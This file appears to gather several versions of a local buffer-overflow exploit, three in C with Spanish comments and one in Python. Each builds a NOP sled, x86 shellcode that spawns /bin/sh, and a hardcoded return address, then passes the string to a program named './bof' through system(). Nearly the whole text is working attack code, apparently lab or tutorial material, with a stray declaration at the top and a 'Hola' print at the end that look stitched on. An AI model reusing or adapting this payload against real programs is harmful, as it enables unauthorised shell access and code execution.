char nops[23] = "";

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(){
 
char exp[] = "./bof";
char nops[24] = "";
memset(nops, '\x90', 23);
char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret[]="\x18\x1f\x9b\xbf";
 
char *cmd;
cmd=(char *)malloc(strlen(exp) + strlen(nops) + strlen(shellcode) + strlen(ret) + 1);
 
sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret);
 
system(cmd);
free(cmd);
 
return 0;
}
 

#include <stdio.h> /* Para Sprintf */
#include <string.h> /* Para memset */
#include <stdlib.h> /*Para malloc y system */
 
int main()
{
	char name[]="./bof";
	char nops[26]="";
	memset(nops, '\x90', 25); /* Copiamos el byte 90 25 veces en la variable nops */
	char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
		"\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
	char ret[]="\x18\x1f\x9b\xbf";
 
	char *cmd;/* Definimos un puntero donde juntaremos todo, para llamarlo con system */
	cmd=(char *)malloc(sizeof(name)+sizeof(nops)+sizeof(shellcode)+sizeof(ret)+1);/* Reservamos la memoria necesaria
	para juntar todo */
	sprintf(cmd, "%s %s%s%s", name,nops,shellcode,ret);/* Juntamos name, nop, shellcode y ret en el
	puntero cmd, entre name y los demas campos dejamos un espacio */
	system(cmd);
	free(cmd);/* Liberamos la memoria */
	return 0;
}
 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
int main()
{
	char name[]="./bof";
	char nops[24]="";
	memset(nops, '\x90', 23); /* Copiamos el byte 90 23 veces en la variable nops */
	char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
	char ret[]="\x18\x1f\x9b\xbf";
 
	char *cmd;/* Definimos un puntero donde juntaremos todo, para llamarlo con system */
	cmd=(char *)malloc(strlen(name)+strlen(nops)+strlen(shellcode)+strlen(ret)+1);/* Reservamos la memoria necesaria
	para juntar todo */
	sprintf(cmd, "%s %s%s%s", name,nops,shellcode,ret);/* Juntamos name, nop, shellcode y ret en el
	puntero cmd, entre name y los demas campos dejamos un espacio */
	system(cmd);
	free(cmd);/* Liberamos la memoria */
	return 0;
}
 

import os
archivo="./bof "
nops="\x90" * 23
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
ret="\x18\x1f\x9b\xbf"
 
os.system(archivo+nops+shellcode+ret)
 

print "Hola"